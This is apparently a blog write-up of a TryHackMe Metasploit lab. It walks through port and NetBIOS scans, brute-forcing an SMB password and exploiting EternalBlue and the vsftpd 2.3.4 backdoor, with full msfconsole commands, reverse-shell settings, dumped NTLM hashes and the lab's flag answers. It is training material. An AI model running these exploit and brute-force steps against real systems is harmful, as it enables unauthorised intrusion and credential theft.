August 24, 2026

Metasploit Scanning and Exploitation: From Reconnaissance to Exploitation | THM

In this article, we will discuss Metasploit scanning and exploitation using msfconsole, including how to search for vulnerabilities, select…

By Dharavathnagaraju

12 min read

In this article, we will discuss Metasploit scanning and exploitation using msfconsole, including how to search for vulnerabilities, select the appropriate modules, and perform exploitation using Metasploit modules in a controlled environment.

Task 1 Introduction

Metasploit Framework

Metasploit is an open-source penetration testing framework widely used by cybersecurity professionals to identify and validate vulnerabilities in authorized systems. Its main command-line interface, msfconsole, provides access to thousands of modules for different stages of security testing.

Metasploit organizes its modules into seven main categories:

  • Exploits — Take advantage of known vulnerabilities.
  • Auxiliary — Perfom scanning, enumeration, service detection, and credential testing.
  • Payloads — Define the code or functionality executed after successful exploitation.
  • Post-Exploitation — Perform activities after obtaining a session, such as system enumeration.
  • Encoders — Transform payload data, often to meet technical requirements such as avoiding bad characters.
  • NOPs — Generate No Operation instructions used mainly in certain memory-exploitation scenarios.
  • Evasion — Contains techniques designed to test or bypass specific security controls.

Metasploit also supports different payload delivery methods. Singles (stageless payloads) contain all required functionality in one package, while staged payloads are divided into a small stager and a larger stage that is delivered afterward.

Task 2 Scanning with Metasploit

In this task, we will see how to perform a port scan step-by-step using msfconsole.

Port Scanning with Metasploit Modules

We can use Nmap for port scanning, but Metasploit provides database integration. When we scan through msfconsole, the results are stored in the Metasploit database. Whenever we need the previous scan results, we can easily view them using commands like hosts and services etc..

To scan the ports using Metasploit, we first need to search for the available port scanning modules.

msf > search portscan

Matching Modules
================

   #  Name                                              Disclosure Date  Rank    Check  Description
   -  ----                                              ---------------  ----    -----  -----------
   0  auxiliary/scanner/portscan/ftpbounce              .                normal  No     FTP Bounce Port Scanner
   1  auxiliary/scanner/natpmp/natpmp_portscan          .                normal  No     NAT-PMP External Port Scanner
   2  auxiliary/scanner/sap/sap_router_portscanner      .                normal  No     SAPRouter Port Scanner
   3  auxiliary/scanner/portscan/xmas                   .                normal  No     TCP "XMas" Port Scanner
   4  auxiliary/scanner/portscan/ack                    .                normal  No     TCP ACK Firewall Scanner
   5  auxiliary/scanner/portscan/tcp                    .                normal  No     TCP Port Scanner
   6  auxiliary/scanner/portscan/syn                    .                normal  No     TCP SYN Port Scanner
   7  auxiliary/scanner/http/wordpress_pingback_access  .                normal  No     Wordpress Pingback Locator

Interact with a module by name or index. For example info 7, use 7 or use auxiliary/scanner/http/wordpress_pingback_access

msf >

The most commonly used is auxiliary/scanner/portscan/tcp, which performs a full TCP connect scan. Let's load it and look at its options:

msf > use auxiliary/scanner/portscan/tcp
msf auxiliary(scanner/portscan/tcp) >

In Metasploit (msfconsole), the show options command displays the settings required by the currently selected module.

For example:

show options

It shows things like:

  • RHOSTS → Target IP address
  • RPORT → Target port
  • LHOST → Your listening IP
  • LPORT → Your listening port
  • PAYLOAD → Payload to use

You use it to check what needs to be configured before running a module.

msf auxiliary(scanner/portscan/tcp) > show options

Module options (auxiliary/scanner/portscan/tcp):

   Name         Current Setting  Required  Description
   ----         ---------------  --------  -----------
   CONCURRENCY  10               yes       The number of concurrent ports to check per host
   DELAY        0                yes       The delay between connections, per thread, in milliseconds
   JITTER       0                yes       The delay jitter factor (maximum value by which to +/- DELAY) in milliseconds.
   PORTS        1-10000          yes       Ports to scan (e.g. 22-25,80,110-900)
   RHOSTS                        yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
   THREADS      1                yes       The number of concurrent threads (max one per host)
   TIMEOUT      1000             yes       The socket connect timeout in milliseconds

View the full module info with the info, or info -d command.

msf auxiliary(scanner/portscan/tcp) >

Set the target IP address using RHOSTS, specify the target port using RPORT, and configure the number of concurrent tasks using THREADS.

after that run the module

msf auxiliary(scanner/portscan/tcp) > set RHOSTS 10.48.168.218
RHOSTS => 10.48.168.218
msf auxiliary(scanner/portscan/tcp) > set PORTS 1-1024,3389,8000-8100
PORTS => 1-1024,3389,8000-8100
msf auxiliary(scanner/portscan/tcp) > set threads 10
threads => 10
msf auxiliary(scanner/portscan/tcp) > show options

Module options (auxiliary/scanner/portscan/tcp):

   Name         Current Setting        Required  Description
   ----         ---------------        --------  -----------
   CONCURRENCY  10                     yes       The number of concurrent ports to check per host
   DELAY        0                      yes       The delay between connections, per thread, in milliseconds
   JITTER       0                      yes       The delay jitter factor (maximum value by which to +/- DELAY) in milliseconds.
   PORTS        1-1024,3389,8000-8100  yes       Ports to scan (e.g. 22-25,80,110-900)
   RHOSTS       10.48.168.218          yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
   THREADS      10                     yes       The number of concurrent threads (max one per host)
   TIMEOUT      1000                   yes       The socket connect timeout in milliseconds

View the full module info with the info, or info -d command.

msf auxiliary(scanner/portscan/tcp) >run
msf auxiliary(scanner/portscan/tcp) > run
[+] 10.48.168.218         - 10.48.168.218:135 - TCP OPEN
[+] 10.48.168.218         - 10.48.168.218:139 - TCP OPEN
[+] 10.48.168.218         - 10.48.168.218:445 - TCP OPEN
[+] 10.48.168.218         - 10.48.168.218:3389 - TCP OPEN
[+] 10.48.168.218         - 10.48.168.218:8000 - TCP OPEN
[*] 10.48.168.218         - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf auxiliary(scanner/portscan/tcp) >

This is the process of scanning for active/open ports on a target using msfconsole

Open ports alone are not enough to understand the target completely. We also need to identify the services running on those ports and their versions. This information helps us understand the target and identify potential vulnerabilities.

We can directly use Nmap from within msfconsole to scan the target and identify the services and versions running on the open ports.

msf>  nmap -sV -O 10.48.168.218
[*] exec:  nmap -sV -O 10.48.168.218

Starting Nmap 7.98 ( https://nmap.org ) at 2026-08-24 14:08 -0400
Nmap scan report for 10.48.168.218
Host is up (0.038s latency).
Not shown: 994 closed tcp ports (reset)
PORT     STATE SERVICE       VERSION
135/tcp  open  msrpc         Microsoft Windows RPC
139/tcp  open  tcpwrapped
445/tcp  open  microsoft-ds?
3389/tcp open  ms-wbt-server Microsoft Terminal Services
5985/tcp open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
8000/tcp open  http-alt      webfs/1.21
Network Distance: 3 hops
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 25.15 seconds

To store the scan results in the Metasploit database for future use, we can use db_nmap. We will learn about this in the next task.

Answer the questions below

How many open ports did the scan discover on the Stratford Windows workstation?

Answer: 5

Using the NetBIOS scanner, what is the NetBIOS name of the target?

msf > use auxiliary(scanner/netbios/nbname)
msf auxiliary(scanner/netbios/nbname) > show options

Module options (auxiliary/scanner/netbios/nbname):

   Name       Current Setting  Required  Description
   ----       ---------------  --------  -----------
   BATCHSIZE  256              yes       The number of hosts to probe in each set
   RHOSTS                      yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
   RPORT      137              yes       The target port (UDP)
   THREADS    10               yes       The number of concurrent threads

View the full module info with the info, or info -d command.

msf auxiliary(scanner/netbios/nbname) > set RHOSTS 10.48.168.218
RHOSTS => 10.48.168.218
msf auxiliary(scanner/netbios/nbname) > run
[*] Sending NetBIOS requests to 10.48.168.218->10.48.168.218 (1 hosts)
[+] 10.48.168.218 [STRATFORD-WS01] OS:Windows Names:(STRATFORD-WS01)  Mac:00:50:56:ab:cd:ef Virtual Machine:VMWare
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf auxiliary(scanner/netbios/nbname) >

Answer: STRATFORD-WS01

What service is running on port 8000?

msf >  nmap -sV -O 10.48.168.218
[*] exec:  nmap -sV -O 10.48.168.218

Starting Nmap 7.98 ( https://nmap.org ) at 2026-08-24 14:08 -0400
Nmap scan report for 10.48.168.218
Host is up (0.038s latency).
Not shown: 994 closed tcp ports (reset)
PORT     STATE SERVICE       VERSION
135/tcp  open  msrpc         Microsoft Windows RPC
139/tcp  open  tcpwrapped
445/tcp  open  microsoft-ds?
3389/tcp open  ms-wbt-server Microsoft Terminal Services
5985/tcp open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
8000/tcp open  http-alt      webfs/1.21

Answer: webfs/1.21

Using the SMB login scanner and the provided wordlist, what is the penny user's password?

msf > use auxiliary/scanner/smb/smb_login
[*] New in Metasploit 6.4 - The CreateSession option within this module can open an interactive session
msf auxiliary(scanner/smb/smb_login) > use auxiliary/scanner/smb/smb_login
[*] New in Metasploit 6.4 - The CreateSession option within this module can open an interactive session
msf auxiliary(scanner/smb/smb_login) > set SMBUSER penny
SMBUSER => penny
msf auxiliary(scanner/smb/smb_login) >  set PASS_FILE /usr/share/wordlists/MetasploitRoom/MetasploitWordlist.txt
PASS_FILE => /usr/share/wordlists/MetasploitRoom/MetasploitWordlist.txt
msf auxiliary(scanner/smb/smb_login) > set RHOSTS 10.48.168.218
RHOSTS => 10.48.168.218
msf auxiliary(scanner/smb/smb_login) > set verbose false
verbose => false
msf auxiliary(scanner/smb/smb_login) > run
[+] 10.48.168.218:445     - Success: '.\penny:Spring2013'
[*] 10.48.168.218:445     - Scanned 1 of 1 hosts (100% complete)
[*] 10.48.168.218:445     - Bruteforce completed, 1 credential was successful.
[*] 10.48.168.218:445     - You can open an SMB session with these credentials and CreateSession set to true
[*] Auxiliary module execution completed
msf auxiliary(scanner/smb/smb_login) >

Answer: spring2013

Task 3 The Metasploit Database

Metasploit Database

In a real penetration test with many hosts, manually tracking open ports, services, and IP addresses can be difficult. Metasploit uses a PostgreSQL database to store scan results such as hosts, services, credentials, and vulnerabilities. We can then easily view and use this information from msfconsole using commands like hosts and services.

Setting Up the Database

In Kali Linux, sudo msfdb init sets up and initializes the PostgreSQL database used by Metasploit to store scan results, hosts, services, and other information

sudo msfdb init

to check the status of the data base:

msf > db_status
[*] Connected to msf. Connection type: postgresql.
msf >

to check the workspace:

msf > workspace
* default
msf >

let's creat a workspace:

msf > workspace -a stratford
[*] Added workspace: stratford
[*] Workspace: stratford
msf > workspace
  default
* stratford
msf >

From this point forward, every scan result and credential we collect will be stored under the stratford workspace

To switch between workspaces, type workspace followed by the name:

msf6 > workspace default
[*] Workspace: default
msf6 > workspace stratford
[*] Workspace: stratford
msf6 >

Scanning Into the Database With db_nmap

The db_nmap command runs Nmap from msfconsole and automatically stores the scan results in the Metasploit database, including hosts, ports, services, and versions.

db_nmap allows us to run Nmap directly from msfconsole and automatically save the scan results in the Metasploit database.

Example:

db_nmap -sV <target-IP>
msf > db_nmap -sV -O 10.48.168.218
[*] Nmap: Starting Nmap 7.98 ( https://nmap.org ) at 2026-08-24 14:40 -0400
[*] Nmap: Nmap scan report for 10.48.168.218
[*] Nmap: Host is up (0.036s latency).
[*] Nmap: Not shown: 994 closed tcp ports (reset)
[*] Nmap: PORT     STATE SERVICE       VERSION
[*] Nmap: 135/tcp  open  msrpc         Microsoft Windows RPC
[*] Nmap: 139/tcp  open  tcpwrapped
[*] Nmap: 445/tcp  open  microsoft-ds?
[*] Nmap: 3389/tcp open  ms-wbt-server Microsoft Terminal Services
[*] Nmap: 5985/tcp open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
[*] Nmap: 8000/tcp open  http-alt      webfs/1.21
[*] Nmap: Network Distance: 3 hops
[*] Nmap: Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
[*] Nmap: OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
[*] Nmap: Nmap done: 1 IP address (1 host up) scanned in 26.23 seconds
/usr/share/metasploit-framework/vendor/bundle/ruby/3.3.0/gems/recog-3.1.25/lib/recog/fingerprint/regexp_factory.rb:34: warning: nested repeat operator '+' and '?' was replaced with '*' in regular expression
msf >

Querying the Database: Hosts, Services, and Credentials

Metasploit provides commands to view information stored in its database:

msf > hosts

Hosts
=====

address        mac  name  os_name       os_flavor  os_sp  purpose  info  comments
-------        ---  ----  -------       ---------  -----  -------  ----  --------
10.48.168.218             Windows 2016                    server

msf > services
Services
========

host           port  proto  name           state  info
----           ----  -----  ----           -----  ----
10.48.168.218  135   tcp    msrpc          open   Microsoft Windows RPC
10.48.168.218  139   tcp    tcpwrapped     open
10.48.168.218  445   tcp    microsoft-ds   open
10.48.168.218  3389  tcp    ms-wbt-server  open   Microsoft Terminal Services
10.48.168.218  5985  tcp    http           open   Microsoft HTTPAPI httpd 2.0 SSDP/UPnP
10.48.168.218  8000  tcp    http-alt       open   webfs/1.21

msf > creds
Credentials
===========

id  host  origin  service  public  private  realm  private_type  JtR Format  cracked_password
--  ----  ------  -------  ------  -------  -----  ------------  ----------  ----------------

Answer the questons:

What command do you use to check if the Metasploit database is connected?

Answer: db_status

What command creates a new workspace called "stratford"?

Answer: workspace -a stratford

What command runs an Nmap scan and automatically stores the results in the Metasploit database?

Answer: db_nmap

You are about to run an auxiliary module and want to automatically set RHOSTS to every host in the database. What command do you use?

Answer: hosts -R

Task 5 Exploit 1: EternalBlue (MS17–010)

In this task, we will exploit the EternalBlue (MS17–010) vulnerability.

Here is the complete exploit process :

msf auxiliary(scanner/smb/smb_ms17_010) > use exploit/windows/smb/ms17_010_eternalblue
[*] No payload configured, defaulting to windows/x64/meterpreter/reverse_tcp
msf exploit(windows/smb/ms17_010_eternalblue) > show options

Module options (exploit/windows/smb/ms17_010_eternalblue):

   Name           Current Setting  Required  Description
   ----           ---------------  --------  -----------
   RHOSTS                          yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
   RPORT          445              yes       The target port (TCP)
   SMBDomain                       no        (Optional) The Windows domain to use for authentication. Only affects Windows Server 2008 R2, Windows 7, Windows Embedded Standard 7 target machines.
   SMBPass                         no        (Optional) The password for the specified username
   SMBUser                         no        (Optional) The username to authenticate as
   VERIFY_ARCH    true             yes       Check if remote architecture matches exploit Target. Only affects Windows Server 2008 R2, Windows 7, Windows Embedded Standard 7 target machines.
   VERIFY_TARGET  true             yes       Check if remote OS matches exploit Target. Only affects Windows Server 2008 R2, Windows 7, Windows Embedded Standard 7 target machines.

Payload options (windows/x64/meterpreter/reverse_tcp):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   EXITFUNC  thread           yes       Exit technique (Accepted: '', seh, thread, process, none)
   LHOST     10.0.2.15        yes       The listen address (an interface may be specified)
   LPORT     4444             yes       The listen port

Exploit target:

   Id  Name
   --  ----
   0   Automatic Target

View the full module info with the info, or info -d command.

msf exploit(windows/smb/ms17_010_eternalblue) > set RHOSTS 10.48.128.150
RHOSTS => 10.48.128.150

msf exploit(windows/smb/ms17_010_eternalblue) > set lhost 192.168.179.51
lhost => 192.168.179.51

msf exploit(windows/smb/ms17_010_eternalblue) > show options

Module options (exploit/windows/smb/ms17_010_eternalblue):

   Name           Current Setting  Required  Description
   ----           ---------------  --------  -----------
   RHOSTS         10.48.128.150    yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
   RPORT          445              yes       The target port (TCP)
   SMBDomain                       no        (Optional) The Windows domain to use for authentication. Only affects Windows Server 2008 R2, Windows 7, Windows Embedded Standard 7 target machines.
   SMBPass                         no        (Optional) The password for the specified username
   SMBUser                         no        (Optional) The username to authenticate as
   VERIFY_ARCH    true             yes       Check if remote architecture matches exploit Target. Only affects Windows Server 2008 R2, Windows 7, Windows Embedded Standard 7 target machines.
   VERIFY_TARGET  true             yes       Check if remote OS matches exploit Target. Only affects Windows Server 2008 R2, Windows 7, Windows Embedded Standard 7 target machines.

Payload options (windows/x64/meterpreter/reverse_tcp):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   EXITFUNC  thread           yes       Exit technique (Accepted: '', seh, thread, process, none)
   LHOST     192.168.179.51   yes       The listen address (an interface may be specified)
   LPORT     4444             yes       The listen port

Exploit target:

   Id  Name
   --  ----
   0   Automatic Target

View the full module info with the info, or info -d command.

msf exploit(windows/smb/ms17_010_eternalblue) > exploit
[*] Started reverse TCP handler on 192.168.179.51:4444
[*] 10.48.128.150:445 - Using auxiliary/scanner/smb/smb_ms17_010 as check
[+] 10.48.128.150:445     - Host is likely VULNERABLE to MS17-010! - Windows Server 2008 R2 Datacenter 7601 Service Pack 1 x64 (64-bit)
[*] 10.48.128.150:445     - Scanned 1 of 1 hosts (100% complete)
[+] 10.48.128.150:445 - The target is vulnerable.
[*] 10.48.128.150:445 - Connecting to target for exploitation.
[+] 10.48.128.150:445 - Connection established for exploitation.
[+] 10.48.128.150:445 - Target OS selected valid for OS indicated by SMB reply
[*] 10.48.128.150:445 - CORE raw buffer dump (53 bytes)
[*] 10.48.128.150:445 - 0x00000000  57 69 6e 64 6f 77 73 20 53 65 72 76 65 72 20 32  Windows Server 2
[*] 10.48.128.150:445 - 0x00000010  30 30 38 20 52 32 20 44 61 74 61 63 65 6e 74 65  008 R2 Datacente
[*] 10.48.128.150:445 - 0x00000020  72 20 37 36 30 31 20 53 65 72 76 69 63 65 20 50  r 7601 Service P
[*] 10.48.128.150:445 - 0x00000030  61 63 6b 20 31                                   ack 1
[+] 10.48.128.150:445 - Target arch selected valid for arch indicated by DCE/RPC reply
[*] 10.48.128.150:445 - Trying exploit with 12 Groom Allocations.
[*] 10.48.128.150:445 - Sending all but last fragment of exploit packet
[*] 10.48.128.150:445 - Starting non-paged pool grooming
[+] 10.48.128.150:445 - Sending SMBv2 buffers
[+] 10.48.128.150:445 - Closing SMBv1 connection creating free hole adjacent to SMBv2 buffer.
[*] 10.48.128.150:445 - Sending final SMBv2 buffers.
[*] 10.48.128.150:445 - Sending last fragment of exploit packet!
[*] 10.48.128.150:445 - Receiving response from exploit packet
[+] 10.48.128.150:445 - ETERNALBLUE overwrite completed successfully (0xC000000D)!
[*] 10.48.128.150:445 - Sending egg to corrupted connection.

meterpreter >

We successfully exploited the EternalBlue (MS17–010) vulnerability and obtained a Meterpreter session.

Let's find the flag:

meterpreter > search -f flag.txt
Found 1 result...
=================

Path                                     Size (bytes)  Modified (UTC)
----                                     ------------  --------------
c:\Users\Administrator\Desktop\flag.txt  17            2026-04-24 01:37:47 -0400

meterpreter > cat c:\\Users\\Administrator\\Desktop\\flag.txt
THM{EterNalPwn3d}meterpreter >

What is the content of the flag.txt file on STRATFORD-WS01?

Answer: THM{EterNalPwn3d}

What is the NTLM hash of the pirate user on STRATFORD-WS01?

meterpreter > hashdump
Administrator:500:aad3b435b51404eeaad3b435b51404ee:cc37474302208881eac96efdb606b033:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
pirate:1003:aad3b435b51404eeaad3b435b51404ee:3b1da22b1973c0bb86d4a9b6a9ae65f6:::
meterpreter >

Answer: 3b1da22b1973c0bb86d4a9b6a9ae65f6

Task 6 Exploit 2: vsftpd 2.3.4 Backdoor

msf > search vsftpd

Matching Modules
================

   #  Name                                  Disclosure Date  Rank       Check  Description
   -  ----                                  ---------------  ----       -----  -----------
   0  auxiliary/dos/ftp/vsftpd_232          2011-02-03       normal     Yes    VSFTPD 2.3.2 Denial of Service
   1  exploit/unix/ftp/vsftpd_234_backdoor  2011-07-03       excellent  No     VSFTPD v2.3.4 Backdoor Command Execution

Interact with a module by name or index. For example info 1, use 1 or use exploit/unix/ftp/vsftpd_234_backdoor

msf > use 1
[*] No payload configured, defaulting to cmd/unix/interact
msf exploit(unix/ftp/vsftpd_234_backdoor) > info

       Name: VSFTPD v2.3.4 Backdoor Command Execution
     Module: exploit/unix/ftp/vsftpd_234_backdoor
   Platform: Unix
       Arch: cmd
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2011-07-03

Provided by:
  hdm <x@hdm.io>
  MC <mc@metasploit.com>

Module side effects:
 unknown-side-effects

Module stability:
 unknown-stability

Module reliability:
 unknown-reliability

Available targets:
      Id  Name
      --  ----
  =>  0   Automatic

Check supported:
  No

Basic options:
  Name    Current Setting  Required  Description
  ----    ---------------  --------  -----------
  RHOSTS                   yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
  RPORT   21               yes       The target port (TCP)

Payload information:
  Space: 2000
  Avoid: 0 characters

Description:
  This module exploits a malicious backdoor that was added to the       VSFTPD download
  archive. This backdoor was introduced into the vsftpd-2.3.4.tar.gz archive between
  June 30th 2011 and July 1st 2011 according to the most recent information
  available. This backdoor was removed on July 3rd 2011.

References:
  https://nvd.nist.gov/vuln/detail/CVE-2011-2523
  OSVDB (73573)
  http://pastebin.com/AetT9sS5
  http://scarybeastsecurity.blogspot.com/2011/07/alert-vsftpd-download-backdoored.html

View the full module info with the info -d command.

msf exploit(unix/ftp/vsftpd_234_backdoor) > set PAYLOAD cmd/unix/interact
PAYLOAD => cmd/unix/interact
msf exploit(unix/ftp/vsftpd_234_backdoor) > set RHOSTS 10.49.128.192
RHOSTS => 10.49.128.192

msf exploit(unix/ftp/vsftpd_234_backdoor) > show options

Module options (exploit/unix/ftp/vsftpd_234_backdoor):

   Name    Current Setting  Required  Description
   ----    ---------------  --------  -----------
   RHOSTS  10.49.128.192    yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
   RPORT   21               yes       The target port (TCP)

Exploit target:

   Id  Name
   --  ----
   0   Automatic

View the full module info with the info, or info -d command.

msf exploit(unix/ftp/vsftpd_234_backdoor) > exploit
[*] 10.49.128.192:21 - Banner: 220 (vsFTPd 2.3.4)
[*] 10.49.128.192:21 - USER: 331 Please specify the password.
[*] Exploit completed, but no session was created.
msf exploit(unix/ftp/vsftpd_234_backdoor) > exploit
[*] 10.49.128.192:21 - The port used by the backdoor bind listener is already open
[+] 10.49.128.192:21 - UID: uid=0(root) gid=0(root) groups=0(root)
[*] Found shell.
[*] Command shell session 2 opened (192.168.179.51:37567 -> 10.49.128.192:6200) at 2026-08-24 15:10:11 -0400

id
uid=0(root) gid=0(root) groups=0(root)
whoami
root
ls
bin
bin.usr-is-merged
boot
core
dev
etc
home
lib
lib.usr-is-merged
lib32
lib64
libx32
lost+found
media
mnt
opt
proc
root
run
sbin
sbin.usr-is-merged
snap
srv
sys
tmp
usr
cd root
ls
flag.txt
snap
cat flag.txt
THM-MSFv3n0m-PAYLOAD

What Metasploit module exploits the vsftpd 2.3.4 backdoor?

Answer: exploit/unix/ftp/vsftpd_234_backdoor

What user are you running as on stratford-srv01 after exploitation?

Answer: root

What are the contents of /root/flag.txt?

Answer: THM-MSFv3n0m-PAYLOAD

Conclusion

In this task, we learned how to use Metasploit (msfconsole) for scanning, database management, vulnerability identification, and exploitation. We used Nmap and Metasploit scanners to identify open ports, services, and system information, stored results in the Metasploit database, and successfully exploited EternalBlue (MS17-010) and the vsftpd 2.3.4 backdoor in the controlled lab environment.

Thank You!